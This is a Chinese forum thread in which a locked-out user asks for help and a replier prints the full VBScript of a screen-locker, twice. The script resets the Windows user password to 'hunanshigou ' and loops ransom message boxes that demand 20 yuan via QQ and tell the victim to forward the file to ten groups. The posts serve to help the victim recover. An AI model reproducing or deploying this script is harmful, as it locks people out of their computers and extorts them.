电脑被锁机了求大佬帮帮忙
下载地址链接:https://share.weiyun.com/5lVCic8求大佬看看锁机密码多少Const strPassword = "hunanshigou "'
Const strPassword = "hunanshigou "'
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
do
msgbox"你的电脑密码已被黑客修改,去加我qqxxxxxxxxxx 重启动是没用的 不然你会被锁的 你先加qq 莫要后悔 如果装逼就重启吧 先记住我qq 然后去把这个文件转发10个群必须截图 否则 哼哼 你懂得 黑客帝国 就是如此吊莫去装逼,准备好钱找我 20元哦,我等你哦"
msgbox"来加我给你密码."
loop
- -压根幼儿园都没毕业的吧?楼主,这种vbe,vbs,bat文件后缀可以用notepad++或者其他的一些文本编辑器打开,可以直接看到源代码,部分加密的需要解密
Const strPassword = "hunanshigou "'
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
do
msgbox"你的电脑密码已被黑客修改,去加我qq2921864950 重启动是没用的 不然你会被锁的 你先加qq 莫要后悔 如果装逼就重启吧 先记住我qq 然后去把这个文件转发10个群必须截图 否则 哼哼 你懂得 黑客帝国 就是如此吊莫去装逼,准备好钱找我 20元哦,我等你哦"
msgbox"来加我给你密码."
loop LGLG 发表于 2019-7-28 19:26
Const strPassword = "hunanshigou "'
谢谢大佬6666 LGLG 发表于 2019-7-28 19:25
Const strPassword = "hunanshigou "'
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Netw ...
搞定了,给我说一声,关注一下大佬
{:301_998:} LGLG 发表于 2019-7-28 19:26
Const strPassword = "hunanshigou "'
湖南是狗(这人还是个地域黑鸭 LGLG 发表于 2019-7-28 19:25
Const strPassword = "hunanshigou "'
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Netw ...
这个作者怕不是个二愣子 一个锁机被说说成 神话 哈哈,刚试了下,重启给加了个账号锁,密码也有意思 胡楠是狗 哈哈哈哈 后面还有个空格 膜拜楼上的大神 站里大佬多呀,膜拜前排大佬们
页:
[1]
2